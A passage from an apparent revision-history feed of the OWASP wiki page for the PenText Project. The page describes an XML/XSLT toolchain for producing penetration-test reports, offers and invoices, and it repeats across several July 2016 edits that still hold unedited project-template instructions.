&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219165</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219165"/>
				<updated>2016-07-21T10:14:33Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Classifications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
Instructions are in RED text and should be removed from your document by deleting the text with the span tags. This document is intended to serve as an example of what is required of an OWASP project wiki page. The text in red serves as instructions, while the text in black serves as an example. Text in black is expected to be replaced entirely with information specific to your OWASP project.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content can be easily adapted by editing the constants provided in each document. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	Many projects have &amp;quot;Frequently Asked Questions&amp;quot; documents or pages. However, the point of such a document is not the questions. ''The point of a document like this are the '''answers'''''. The document contains the answers that people would otherwise find themselves giving over and over again. The idea is that rather than laboriously compose and post the same answers repeatedly, people can refer to this page with pre-prepared answers. Use this space to communicate your projects 'Frequent Answers.'&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going as well as areas that volunteers may contribute. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.&lt;br /&gt;
	Roadmaps vary in detail from a broad outline to a fully detailed project charter. Generally speaking, projects with detailed roadmaps have tended to develop into successful projects. Some details that leaders may consider placing in the roadmap include: envisioned milestones, planned feature enhancements, essential conditions, project assumptions, development timelines, etc. You are required to have at least 4 milestones for every year the project is active. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219164</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219164"/>
				<updated>2016-07-21T10:11:30Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Classifications */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
Instructions are in RED text and should be removed from your document by deleting the text with the span tags. This document is intended to serve as an example of what is required of an OWASP project wiki page. The text in red serves as instructions, while the text in black serves as an example. Text in black is expected to be replaced entirely with information specific to your OWASP project.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content can be easily adapted by editing the constants provided in each document. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;600&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;33%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;33%&amp;quot;| [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;33%&amp;quot;| [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	Many projects have &amp;quot;Frequently Asked Questions&amp;quot; documents or pages. However, the point of such a document is not the questions. ''The point of a document like this are the '''answers'''''. The document contains the answers that people would otherwise find themselves giving over and over again. The idea is that rather than laboriously compose and post the same answers repeatedly, people can refer to this page with pre-prepared answers. Use this space to communicate your projects 'Frequent Answers.'&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going as well as areas that volunteers may contribute. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.&lt;br /&gt;
	Roadmaps vary in detail from a broad outline to a fully detailed project charter. Generally speaking, projects with detailed roadmaps have tended to develop into successful projects. Some details that leaders may consider placing in the roadmap include: envisioned milestones, planned feature enhancements, essential conditions, project assumptions, development timelines, etc. You are required to have at least 4 milestones for every year the project is active. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219163</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219163"/>
				<updated>2016-07-21T09:55:32Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Related Projects */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
Instructions are in RED text and should be removed from your document by deleting the text with the span tags. This document is intended to serve as an example of what is required of an OWASP project wiki page. The text in red serves as instructions, while the text in black serves as an example. Text in black is expected to be replaced entirely with information specific to your OWASP project.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content can be easily adapted by editing the constants provided in each document. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
